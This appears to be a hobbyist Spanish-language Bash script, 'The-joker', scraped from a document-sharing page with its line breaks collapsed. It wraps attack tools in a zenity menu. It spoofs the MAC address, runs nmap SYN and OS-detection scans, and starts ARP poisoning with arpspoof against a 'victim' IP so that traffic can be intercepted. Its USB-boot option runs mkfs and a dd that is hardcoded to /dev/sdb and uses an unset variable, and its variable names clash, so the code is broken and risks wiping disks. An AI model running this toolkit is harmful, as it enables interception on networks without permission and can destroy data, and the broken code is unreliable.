Está en la página 1de 3

#!

/bin/bash # _____ _ _ _ #|_ _| |__ ___ (_) ___ | | _____ _ __ # | | | '_ \ / _ \ | |/ _ \| |/ / _ \ '__| # | | | | | | __/ | | (_) | < __/ | # |_| |_| |_|\___| _/ |\___/|_|\_\___|_| # |__/ #Muchas gracias Nohemi por apoyarme en todos mis proyectos #http://www.youtube.com/user/TheJoker9331 #agradecimientos a puas por la idea de la interfaz. zenity --info --text "Bienvenido! The-joker" clear inter=$(zenity --title=Kazam-team --entry --entry-text=wlan0 --text="Introduce t u interfaz [wlan0]") sudo ifconfig $inter down sudo macchanger --mac 00:11:22:33:44:55 $inter sudo ifconfig $inter up clear zenity --title=nmap --info --text="Se ha aplicado una mascara a tu mac La mascara aplicada a la mac es 00:11:22:33:44:55" clear opc=1 while [ $opc != 0 ] clear do opc=$(zenity --width=320 --height=220 --title=The-joker --entry --text=" Introduce una opcion 1 ) Analizar dependencias 2 ) Escaneo de puertos 3 ) Arp 4 ) Servidor lamp 5 ) Detener Servidor 6 ) boot 0 ) Salir " ) if [ $opc != 0 ] then echo "" fi case $opc in "1") nmap="/usr/bin/nmap" macc="/usr/bin/macchanger" dsniff="/usr/sbin/dsniff" ( echo "# Analizando dependencias"; sleep 1s # echo "Analizando dependencias, espere" if [ -e $nmap ]; then echo "# nmap se encuentra instalado"; sleep 1s else echo "# instalando nmap"

sudo apt-get install nmap fi if [ -e $macc ]; then echo "# macchanger se encuentra instalado"; sleep 1s else echo "# instalando macchanger" sudo apt-get install macchanger fi sleep 1s if [ -e $dsniff ]; then echo "# dsniff se encuentra instalado" sleep 1s echo "# Se encontraron todos los paquetes. puede continuar" else echo "# instalando dsniff" ; sleep 1s sudo apt-get install dsniff echo "# dsniff fue instalado en su sistema" fi ) | zenity --progress --pulsate title="The-joker" text="Espere un momento..." percentage=0 ;; "2") ip=$(zenity --title=scan --entry --text="Introduce la IP o la Direccion") save=$(zenity --entry --text="Los resultado seran guardados en un archivo .txt Introduce el nombre ...") sudo nmap -sS -O $ip > $save.txt ;; "3") interfaz=$(zenity --entry --entry-text=wlan0 --text="Introduce tu interfaz [ wlan0]") ip_victima=$(zenity --entry --text "2do ip victima") ip_router=$(zenity --entry --text "3ro ip de tu router") sudo sysctl -w net.ipv4.ip_forward=1 echo "envenenamiento de arp iniciado" sleep 2s clear sudo arpspoof -i $interfaz -t $ipvictima $iprouter ;; "4") sudo systemctl start httpd.service sudo systemctl start mysqld.service zenity --info --text "Se inicio el servidor" ;; "5") sudo systemctl stop httpd.service sudo systemctl stop mysqld.service zenity --info --text "Se detuvo el servidor con exito" ;; "6") zenity --info --text "mostrando unidades disponibles" df memoria=$(zenity --title=Creando Usb --entry --entry-text=sdb1 --text="Direc cion usb a formatear [sdb1]") sudo mkfs.vfat -I /dev/$memoria

echo "# Copiando archivos"; sleep 1s sudo dd if=$boot of=/dev/sdb echo "# Terminando la copia de archivos"; sleep 1s echo "# Boot creado correctamente"; sleep 1s ) | zenity --progress --pulsate title="The-joker" text="Espere un momento..." percentage=0 ;; "0") zenity --title=Que tenga buen dia --info --text="S a l i e n d o exit 0 ;; esac done

boot=$(zenity --file-selection "Selecciona la iso")

. . ."

También podría gustarte